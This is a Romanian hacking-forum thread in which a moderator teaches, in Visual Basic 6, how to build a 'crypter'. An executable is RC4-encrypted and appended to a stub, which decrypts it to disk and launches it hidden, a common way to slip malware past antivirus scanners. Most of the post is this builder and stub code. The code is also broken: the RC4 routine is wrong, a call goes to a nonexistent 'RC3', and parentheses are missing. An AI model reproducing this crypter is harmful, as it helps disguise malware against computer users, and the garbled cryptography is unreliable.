Simpatie.ro - matrimoniale
Hacking-Romanesc
Este un site de hacking Romanesc
Nou pe simpatie:
Alexandra21
Femeie
24 ani
Calarasi
cauta Barbat
24 - 53 ani
Hacking-RomanescReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Hacking-Romanesc / Hacking-ul nostru cel de toate zilele / cum faci un cript? Pagini: 1 Moderat de maricx
#1
maricx
Moderator
Postari: 14
Buna astazi invatam cum sa criptam un text si sa facem un crippter

1.Idea de baza

Avem nevoie de o functie Rc4 cu ajutorul caruia putem crypta un string.Aceasta functie o punem intrun modul
Cod:

Public Function RC4(ByVal Data As String, ByVal Password As String) As String 'rc4 encryption function
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function


1.1 criptarea unui text
Sa incepem cu ceva simplu criptarea unui text

Cod:

Private Sub Crypt_Click()
dim cryptat as string
dim text as string
text = "test"'textul pe care il criptam
cryptat = RC4(test,"123456"'cryptam stringu din interiorul variabilei text pe care o criptam cu parola 123456
text1.text = cryptat'afisam variabila cryptat cu textul nostru cryptat in textbox
End Sub


E simplu nu ?

1.2 Criptarea unui fisier

Criptarea unui text este simpla dar critarea unui fisier este asa simpla   haideti sa vedem
avem nevoie de
1.Doua textbox unul pentru fisierul pe care il criptam si unul pentru fisierul criptat
2.un buton
Cod:

Private Sub Crypt_Click()
Dim data as string
dim crypt as string
Open text1.text For Binary as #1'Deschidem fisierul pe care il criptam
Get #1,,data'generam datele fisierului si le punem in variabila data
Open text2.text For Binary as #2'Deschidem un fisier nou pentru cryptare
crypt = RC4(data,"123456"'stiti povestea
Put #2,,crypt
Close #1'Inchidem fisierul 1
Close #2'Inchidem Fisierul 2



E aproape indentic

2.0 Crearea cripterului

Faceti exat ca in imagine

Sa incepem

Cod:

Private Sub Command1_click()
Dim Stub as string
Dim Crypt as string
Open App.Path & "\stub.exe" for binary as #1'Deschidem Stubul pe care il creem mai incolo
Stub = Space(LOF(1))'Punem un Spatiu inaintea vaariabilei
Get #1,, Stub'Generem datele Stubului in Variabila Stub
Open text1.text for binary as #2'Deschidem Fisierul pe care il cryptam
Crypt = Space(LOF(1))'Punem si Variabilei Crypt un spatiu
Get #2,,Crypt'Generam datele fisierului in Crypt
Crypt = RC4(Crypt,"123456"'Criptam datele fisierului
Open text2.text for binary as #3'Deschidem un nou fisier
Put #3,,Stub'Punem datele Stubului
Put #3,,"#####"'Punem un string un delimitator care sa inparta stubul de datele criptate
Put #3,,Crypt'punem datele criptate
Close #1
Close #2
Close #3
End Sub

A fost ceva mai dificil Compilam Fisierul Si il punem intrun folder

2.1 Crearea Stubului

Deschidem Vb si creem Un nou proiect standard exe adaugam un modul si stergem Form1
Avem nevoie de functia de decriptare



Cod:

Public Function RC4(ByVal Data As String, ByVal Password As String) As String 'rc4 encryption function
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Sa creem Mainu
Cod:

Sub Main()
Dim file as string

Open App.Path & App.ExeName for binary as #1'Deschidem Fisierul Cryptat in modul binar
file = Space(LOF(1))
Get #1,,file'Generam datele criptate
Close #1
file = Split(file,"#####"'Ne amintim ca am pus stringul ##### pentru impartirea datelor ei asta facem noi acum
file = RC3(file,"123456"'decriptam
Open App.Path & "\decriptat.exe" for binary as #1'deschidem un nou fisier
Put #1,,file'punem datele decryptate
Close #1'inchidem
Shell App.Path & "\decriptat.exe", vbHide
Unload me
end sub


Compilam cu numele stub.exe si il punem in acelasi folder cu Cripteru.




_______________________________________
>L0LImax\
Justlive
http://www.danasoft.com/

 
   
#2
maricx
Moderator
Postari: 14
script* scz pt. greseli

_______________________________________
>L0LImax\
Justlive
http://www.danasoft.com/

 
   
Pagini: 1  
Mergi la